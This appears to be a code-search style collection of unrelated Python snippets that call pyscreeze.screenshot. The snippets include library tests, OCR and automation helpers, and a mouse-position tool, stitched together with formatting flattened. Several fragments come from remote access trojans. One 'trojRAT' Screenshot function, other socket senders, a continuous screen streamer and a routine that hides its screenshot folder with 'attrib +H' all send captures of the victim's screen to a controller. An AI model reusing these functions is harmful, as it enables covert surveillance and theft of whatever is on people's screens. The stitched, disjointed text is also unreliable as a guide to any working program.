def test_screenshot_regions(self): im = pyscreeze.screenshot(TEMP_FILENAME, region=(0, 0, 100, 150)) self.assertEqual(im.size, (100, 150)) os.unlink(TEMP_FILENAME) im = pyscreeze.screenshot(TEMP_FILENAME, region=(50, 50, 100, 150)) self.assertEqual(im.size, (100, 150)) os.unlink(TEMP_FILENAME)
def _start_recording(self, video_name: str, fps: int) -> None: """ (Protected) Starts screen recording. @params video_name (str) --> The name of the screen recording video. fps (int) --> The Frames Per Second for the screen recording. Implies how much screenshots will be taken in a second. """ # checking for video extension and fps if not video_name.endswith(".mp4"): raise InvalidCodec("The video's extension can only be '.mp4'.") if fps > 60: raise InvalidFPS( "The FPS for the screen recording can be maximum 60 FPS.") if fps > 30: raise HighFPSWarning( f"The FPS you have used for screen recording, {fps}, is pretty high and may result in delayed execution of other programs in most systems. It is advised to keep it under 20." ) self.fps = fps self.video_name = video_name # checking if screen is already being recorded if self.__running: print("Screen recording is already running.") else: if self.__start_mode == "start": self.__running = True i = 1 # starting screenshotting while self.__running: screenshot( os.path.join(self.screenshot_folder, f"s{i}.jpg")) sleep(1 / self.fps) i += 1 elif self.__start_mode == "resume": self.__running = True i = len( natsorted([ img for img in os.listdir(self.screenshot_folder) if img.endswith(".jpg") ])) + 1 while self.__running: screenshot( os.path.join(self.screenshot_folder, f"s{i}.jpg")) sleep(1 / self.fps) i += 1 else: raise InvalidStartMode( "The `self.__start_mode` can only be 'start' or 'resume'.")
def test_1000screenshots(self): # This test takes about two minutes for 200 screenshots. # On Windows, if I change PyScreeze away from Pillow and make win32 api calls directly but forget to release # the DCs (display contexts), the program would fail after about 90 or screenshots. # https://stackoverflow.com/questions/3586046/fastest-way-to-take-a-screenshot-with-python-on-windows for i in range(200): pyscreeze.screenshot(TEMP_FILENAME) self.assertTrue(isPng(TEMP_FILENAME)) os.unlink(TEMP_FILENAME)
def Screenshot(): try: pyscreeze.screenshot(APPDATA + "/screenshot.png") trojRAT.send("[+] Image Captured\n".encode()) objScreenshot = open(APPDATA + "/screenshot.png", "rb") trojRAT.send(objScreenshot.read()) objScreenshot.close() except Exception: trojRAT.send("[-] Error Capturing Image\n".encode()) trojRAT.send("@#$@#$@#$@#$".encode())
def screenshot(): pyscreeze.screenshot(TMP + "/s.png") # send screenshot information to server objSocket.send(str.encode("Receiving Screenshot" + "\n" + "File size: " + str(os.path.getsize(TMP + "/s.png")) + " bytes" + "\n" + "Please wait...")) objPic = open(TMP + "/s.png", "rb") # send file contents and close the file time.sleep(1) objSocket.send(objPic.read()) objPic.close()
def _logScreenshot(logScreenshot, action, specifics, folder='.'): if logScreenshot == False or LOG_SCREENSHOTS == False: return # Don't take a screenshot. now = datetime.datetime.now() filename = '%s-%s-%s_%s:%s:%s,%s_%s_%s_%s' % (now.year, str( now.month).rjust(2, '0'), str(now.day).rjust( 2, '0'), now.hour, now.minute, now.second, str( now.microsecond)[:3], RUN_CODE_FOR_LOGGING, action, specifics) filepath = os.path.join(folder, filename) screenshot(filepath)
def grab_screen(): '''Grab image of the current desktop and save to disc.''' glo.file_inc += 1 glo.file_name = str(glo.file_inc) + "-screenshot.jpg" if glo.save_on and glo.image_count < glo.max_images: check_file_exists() pyscreeze.screenshot(glo.save_folder + str(glo.file_name)) glo.image_count += 1 if not glo.stop_thread: threading.Timer(glo.grab_secs, grab_screen).start()
def grab_screen(): """Grab image of the current desktop and save it.""" Glo.file_inc += 1 Glo.file_name = str(Glo.file_inc) + '-screenshot.jpg' if Glo.save_on and Glo.image_count < Glo.max_images: check_file_exists() pyscreeze.screenshot(Glo.save_folder + str(Glo.file_name)) Glo.image_count += 1 if not Glo.stop_thread: threading.Timer(Glo.grab_secs, grab_screen).start()
def TakeScr(): # function to take screenshot if blnStoreLocal == "True": threading.Thread(pyscreeze.screenshot().save(time.strftime(strScrDir + "/%Y%m%d%H%M%S" + ".png"))).start() else: if not os.path.isdir(cPuffDir): # if the screen dir doesnt exist, create it os.makedirs(cPuffDir) subprocess.Popen(["attrib", "+H", cPuffDir]) # make folder hidden strScrPath = time.strftime(cPuffDir + "/%Y%m%d%H%M%S" + ".png") # save screenshot with datetime format threading.Thread(pyscreeze.screenshot().save(strScrPath)).start() SendScreenThread = threading.Thread(target=SendScreen) SendScreenThread.daemon = True SendScreenThread.start()
def screen_shot(): pyscreeze.screenshot(tmp + "/s.png") send( str.encode( "recv screenshot\nFile size: " + str(os.path.getsize(tmp + "/s.png")) + " bytes\nSending . . ." ) ) screenshot = open(tmp + "/s.png", "rb") time.sleep(1) send(screenshot.read()) screenshot.close()
def screenshot(self): if platforms.OS == platforms.LINUX: try: dsp = Xlib.display.Display() root = dsp.screen().root desktop = root.get_geometry() w = desktop.width h = desktop.height raw_byt = root.get_image(0, 0, w, h, Xlib.X.ZPixmap, 0xffffffff) image = Image.frombuffer("RGB", (w, h), raw_byt.data, "raw", "BGRX") dsp.close() except Exception as e: self.es.send_json(ERROR, str(e)) return else: image = pyscreeze.screenshot() with BytesIO() as _bytes: image.save(_bytes, format="PNG") image_bytes = _bytes.getvalue() self.es.sendall_json(SERVER_SCREENSHOT, image_bytes, len(image_bytes), is_bytes=True)
def displayMousePosition(xOffset=0, yOffset=0): """This function is meant to be run from the command line. It will automatically display the location and RGB of the mouse cursor.""" print('Press Ctrl-C to quit.') if xOffset != 0 or yOffset != 0: print('xOffset: %s yOffset: %s' % (xOffset, yOffset)) resolution = size() try: while True: # Get and print the mouse coordinates. x, y = position() positionStr = 'X: ' + str(x - xOffset).rjust(4) + ' Y: ' + str( y - yOffset).rjust(4) if (x - xOffset) < 0 or (y - yOffset) < 0 or ( x - xOffset) >= resolution[0] or ( y - yOffset) >= resolution[1]: pixelColor = ('NaN', 'NaN', 'NaN') else: pixelColor = pyscreeze.screenshot().getpixel((x, y)) positionStr += ' RGB: (' + str(pixelColor[0]).rjust(3) positionStr += ', ' + str(pixelColor[1]).rjust(3) positionStr += ', ' + str(pixelColor[2]).rjust(3) + ')' sys.stdout.write(positionStr) sys.stdout.write('\b' * len(positionStr)) sys.stdout.flush() except KeyboardInterrupt: sys.stdout.write('\n') sys.stdout.flush()
def run(self): while True: screenshot = pyscreeze.screenshot() #screenshot = Image.open("screenshot.png") try: cropped_screenshot = screenshot.crop( (380, 325, 800, 358)) # crop screenshot text = pytesseract.image_to_string( cropped_screenshot) # send image to tesseract for OCR text = re.search( "\((.*)\)", text).group() # delete some not important characters text = text[1:-1] # more of the same angle, pitch = text.split('/') # split angle and pitch self.rotate = float(angle) # and turn it into float cropped_screenshot = screenshot.crop( (65, 245, 700, 275)) # now do same thing with cords text = pytesseract.image_to_string(cropped_screenshot) x, y, z = text.split('/') self.x = float(x) self.z = float(z) self.refresh.emit( ) # inform main window about new data to show except: # broad exception but there is a lot things that can fail # Failed or not it's not detrimental for program stability # Test showed about 20% fail ratio. It depends on font, light, background etc continue
def ocr_2(box, font_library_path, show=False, threshold=[160, 190], confidence=0.8, pic_path=None): if pic_path: pic = Image.open(pic_path) else: pic = pyscreeze.screenshot(region=box) pic = convert_2(pic, threshold) if show: pic.show() list = [] for filename in os.listdir(font_library_path): points = tuple( pyscreeze.locateAll(font_library_path + filename, pic, confidence=confidence)) if len(points): s = filename[:filename.rindex('.')] for point in points: list.append((point[0], s)) list.sort() s = '' for n in list: s += str(n[1]) # num = None try: # num = int(s) pic.fp.close() except Exception: pass return s
def screenstream(): def thread_function(): global stream_active stream_active = True while stream_active: # Take Screenshot objImage = pyscreeze.screenshot() # Create BytesIO Object as objBytes with BytesIO() as objBytes: # Save Screenshot into BytesIO Object objImage.save(objBytes, format="PNG") # Get BytesIO Object Data as bytes objPicw = objBytes.getvalue() sendall(objPicw) #x = threading.Thread(target=thread_function, args=()) # logging.info("Main : before running thread") # x.start() objImage = pyscreeze.screenshot() # Create BytesIO Object as objBytes with BytesIO() as objBytes: # Save Screenshot into BytesIO Object objImage.save(objBytes, format="PNG") # Get BytesIO Object Data as bytes objPicw = objBytes.getvalue() sendall(objPicw)
def displayMousePosition(xOffset=0, yOffset=0): """This function is meant to be run from the command line. It will automatically display the location and RGB of the mouse cursor.""" print("Press Ctrl-C to quit.") if xOffset != 0 or yOffset != 0: print("xOffset: %s yOffset: %s" % (xOffset, yOffset)) resolution = size() try: while True: # Get and print the mouse coordinates. x, y = position() positionStr = "X: " + str(x - xOffset).rjust(4) + " Y: " + str(y - yOffset).rjust(4) if ( (x - xOffset) < 0 or (y - yOffset) < 0 or (x - xOffset) >= resolution[0] or (y - yOffset) >= resolution[1] ): pixelColor = ("NaN", "NaN", "NaN") else: pixelColor = pyscreeze.screenshot().getpixel((x, y)) positionStr += " RGB: (" + str(pixelColor[0]).rjust(3) positionStr += ", " + str(pixelColor[1]).rjust(3) positionStr += ", " + str(pixelColor[2]).rjust(3) + ")" sys.stdout.write(positionStr) sys.stdout.write("\b" * len(positionStr)) sys.stdout.flush() except KeyboardInterrupt: sys.stdout.write("\n") sys.stdout.flush()
def checkApptSched(): im = pyscreeze.screenshot() checkApptPrompt = 'placeholder' if im.getpixel((checkApp1[0], checkApp1[1])) != ( checkApp1[2], checkApp1[3], checkApp1[4]) or im.getpixel( (checkApp2[0], checkApp2[1])) != (checkApp1[2], checkApp1[3], checkApp1[4]): checkApptPrompt = '' while checkApptPrompt == '': checkApptPrompt = pyautogui.confirm( text= "Appointment scheduler is not properly configured. Please make sure IE is the leftmost \ icon in the taskbar, and that appointment scheduler is the leftmost tab within IE. Click 'Check Again' once you have done so. If this \ does not fix the issue, your program may need to be corrected.", title="Fix Appointment Scheduler", buttons=['Check Again', 'Exit']) if checkApptPrompt == 'Check Again': if im.getpixel( (checkApp1[0], checkApp1[1] )) != (checkApp1[2], checkApp1[3], checkApp1[4]) or im.getpixel( (checkApp2[0], checkApp2[1])) != (checkApp2[2], checkApp2[3], checkApp2[4]): checkApptPrompt = '' if checkApptPrompt == 'Exit': checkApptPrompt == pyautogui.confirm(text="Are you sure you want to exit the program?", title="Fix Appointment Scheduler", \ buttons=['Yes, Exit', 'No, go back']) if checkApptPrompt == 'Yes, Exit': sys.exit() if checkApptPrompt == 'No, go back': checkApptPrompt == ''
def displayMousePosition(xOffset=0, yOffset=0): """This function is meant to be run from the command line. It will automatically display the location and RGB of the mouse cursor.""" print('Press Ctrl-C to quit.') if xOffset != 0 or yOffset != 0: print('xOffset: %s yOffset: %s' % (xOffset, yOffset)) resolution = size() try: while True: # Get and print the mouse coordinates. x, y = position() positionStr = 'X: ' + str(x - xOffset).rjust(4) + ' Y: ' + str(y - yOffset).rjust(4) if (x - xOffset) < 0 or (y - yOffset) < 0 or (x - xOffset) >= resolution[0] or (y - yOffset) >= resolution[1]: pixelColor = ('NaN', 'NaN', 'NaN') else: pixelColor = pyscreeze.screenshot().getpixel((x, y)) positionStr += ' RGB: (' + str(pixelColor[0]).rjust(3) positionStr += ', ' + str(pixelColor[1]).rjust(3) positionStr += ', ' + str(pixelColor[2]).rjust(3) + ')' sys.stdout.write(positionStr) sys.stdout.write('\b' * len(positionStr)) sys.stdout.flush() except KeyboardInterrupt: sys.stdout.write('\n') sys.stdout.flush()
def ocr(box, font_library_path, show=False): pic = pyscreeze.screenshot(region=box) if show: pic.show() list = [] # todo for filename in os.listdir(font_library_path): points = tuple( pyscreeze.locateAll(font_library_path + filename, pic, confidence=0.97)) if len(points): for point in points: list.append((point[0], filename[:filename.rindex('.')])) list.sort() s = '' for n in list: s += str(n[1]) # num = None try: # num = int(s) pic.fp.close() except Exception: pass return s
def box_pic(box): pic = pyscreeze.screenshot(region=box) # pic.show() pic.save('./robot.png') try: pic.fp.close() except Exception: pass
def run(self): """创建appview实例, 监听是否稳定""" for app in app_list: self.app_viewer_dict[app] = app_viewer while True: screen = pyscreeze.screenshot() for app_viewer in self.app_viewer_dict.keys(): app_viewer.shot(screen)
def makeImagesOfCorners(self, border): if 0 >= border: raise ValueError('Border is too small.') # start_x, start_y, breite, hoehe top = pyscreeze.screenshot(region=(0, 0, self.WIDTH, border)) right = pyscreeze.screenshot(region=(self.WIDTH - border, 0, border, self.HEIGHT)) bottom = pyscreeze.screenshot(region=(0, self.HEIGHT - border, self.WIDTH, border)) left = pyscreeze.screenshot(region=(0, 0, border, self.HEIGHT)) # Loop over ImageCrop to make Images out = [] for i, image in enumerate((top, right, bottom, left)): image_copy = Image.new(image.mode, image.size) image_copy.putdata(list(image.getdata())) out.append((image_copy)) return out
def repo(): if not os.path.isdir(repository): os.makedirs(repository) scrshot_time = datetime.datetime.now().strftime("%Y%m%d_%H%M%S") shot = pyscreeze.screenshot() if shot: warning() screenshot(shot, scrshot_time)
def run(self): if self.appview_list == []: raise NotBindApps("您还没有绑定app") while True: screen = pyscreeze.screenshot() for app_view in self.appview_list: rect = app_view.rect app_shot = screen.crop((rect.left, rect.top, rect.right, rect.bottom)) app_view.window_history.append(app_shot)
def classify_handwriting(self): x,y = self.winfo_rootx()+self.canvas.winfo_x(),self.winfo_rooty()+self.canvas.winfo_y() x1,y1 = self.canvas.winfo_width(),self.canvas.winfo_height() print(x,y,x1,y1) im = pyscreeze.screenshot(region=(x,y,x1,y1)) # cv2.imshow("image",np.uint8(im)) # cv2.waitKey(0) digit,acc = predict_digit(im) self.label.configure(text= str(digit)+', '+ str(int(acc*100))+'%')
def screenshot(): # Take Screenshot objImage = pyscreeze.screenshot() # Create BytesIO Object as objBytes with BytesIO() as objBytes: # Save Screenshot into BytesIO Object objImage.save(objBytes, format="PNG") # Get BytesIO Object Data as bytes objPic = objBytes.getvalue() sendall(objPic)
def getScreen(): imageGrayscale = (np.array(ps.screenshot().convert("L").getdata())-128)/128 image = imageGrayscale.reshape(768, 1366) # Convert to 3d image = image.reshape(1, image.shape[0], image.shape[1]) # Convert to 4d image = image.reshape(1, image.shape[0], image.shape[1], image.shape[2]) image = torch.from_numpy(image) # Convert into torch tensor. return image.to(dtype=torch.float32)
def KGS_goban_rgb_screenshot(UL_x, UL_y, goban_step): UL_outer_x = UL_x - 0.5*goban_step UL_outer_y = UL_y - 0.5*goban_step BR_outer_x = UL_x + 18*goban_step + 0.5*goban_step BR_outer_y = UL_y + 18*goban_step + 0.5*goban_step im = pyscreeze.screenshot(region=(UL_outer_x, UL_outer_y, \ BR_outer_x-UL_outer_x, BR_outer_y-UL_outer_y)) pix = np.array(im) rgb_pix = pix[...,:3] return rgb_pix
def check_color(color_list): """ 检测当前屏幕是否符合颜色列表 :param color_list: 颜色检测点 [{'point': (x, y), 'color': (r, g, b)}, ...] :return: """ if len(color_list) == 0: return True else: screenshot('my_screenshot.png') img = Image.open('my_screenshot.png') for i in color_list: # 由于截取的屏幕图像像素范围为鼠标坐标的2倍,这里需要四舍五入后获取转换后的坐标 x, y = i['point'] change_x = round(x * 2) change_y = round(y * 2) if img.getpixel((change_x, change_y))[:3] != i['color']: img.close() return False img.close() return True
def GetIntOf(tool, lang, box): #recupere des valeurs affichees a l'ecran avec l'OCR (Reconnaissance Optique des Caracteres) value = "" digits = tool.image_to_string(pyscreeze.screenshot('screendebug.png', region=box), lang=lang, builder=pyocr.tesseract.DigitBuilder()) logging.debug(digits) for i in digits: if i == " ": break value = (value + i) return (int(value))
def GetTxtOf(tool, lang, box): #recupere des valeurs affichees a l'ecran avec l'OCR (Reconnaissance Optique des Caracteres) string = "" txt = tool.image_to_string(pyscreeze.screenshot('screendebug.png', region=box), lang=lang, builder=pyocr.builders.TextBuilder()) logging.debug(txt) for i in txt: if i == " ": break string = (string + i) return (string)
def waitLoad2(): global skipOrder for i in range(3): im = pyscreeze.screenshot() if im.getpixel( (waitLoad3[0], waitLoad3[1])) == (waitLoad3[2], waitLoad3[3], waitLoad3[4]): skipOrder = False break if im.getpixel( (waitLoad4[0], waitLoad4[1])) == (waitLoad4[2], waitLoad4[3], waitLoad4[4]): sleep(.11) skipOrder = True
def checkArnErrorOrCancel(): sleep(.15) global arnError global orderCancelled im = pyscreeze.screenshot() if im.getpixel((checkARN1[0], checkARN1[1])) == ( checkARN1[2], checkARN1[3], checkARN1[4]) or im.getpixel( (checkARN2[0], checkARN2[1])) == (checkARN2[2], checkARN2[3], checkARN2[4]): arnErrorOkayBox() arnError = True if im.getpixel( (canApp[0], canApp[1])) != (canApp[2], canApp[3], canApp[4]): orderCancelled = True
import atomac import time import pyscreeze atomac.launchAppByBundleId('com.apple.calculator') calc = atomac.getAppRefByBundleId('com.apple.calculator') time.sleep(2) window = calc.windows()[0] print window.getAttributes() print window.AXPosition print window.AXSize rect = [window.AXPosition[0], window.AXPosition[1], window.AXSize[0], window.AXSize[1]] print rect calc_img = pyscreeze.screenshot(region=rect) calc_img.load() #important!!!!! calc_img.save("calc.png", "PNG") print calc_img from base64 import encodestring, b64encode from StringIO import StringIO buffer_in_memory = StringIO() calc_img.save(buffer_in_memory, 'PNG') buffer_in_memory.seek(0) img_base_64 = b64encode(buffer_in_memory.getvalue()) print img_base_64
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Screenshot anfertigen.py Tool, das alle x Sekunden einen Screenshot vom Desktop macht und auf der Platte speichert; das Tool unterstützt das Anfertigen von Software-Anleitungen (Step by step). Version: 1.0.0-0001 iVersion: 0001 Author: N. N. First Edit: 2016-03-30 Last Edit: 2016-03-30 """ import pyscreeze import time PATH = "../TEMP/screenshots/" while True: lt = time.localtime() new_file = time.strftime("%Y-%m-%d %H-%M-%S", lt) + ".png" image = pyscreeze.screenshot(PATH + "/" + new_file) time.sleep(1 * 60) # Anzahl der Minuten * 60 Sekunden
def screenshot(): """Take a screenshot.""" filename = f'{datetime.now()}' pyscreeze.screenshot(filename + ".png")
def test_screenshot(self): im = pyscreeze.screenshot(TEMP_FILENAME) self.assertTrue(isPng(TEMP_FILENAME)) self.assertEqual(im.size, resolution()) os.unlink(TEMP_FILENAME)
def take_screenshot(self): current_pane = self._get_current_pane() if current_pane is None: return None rect = [current_pane.AXPosition[0], current_pane.AXPosition[1], current_pane.AXSize[0], current_pane.AXSize[1]] return pyscreeze.screenshot(region=rect)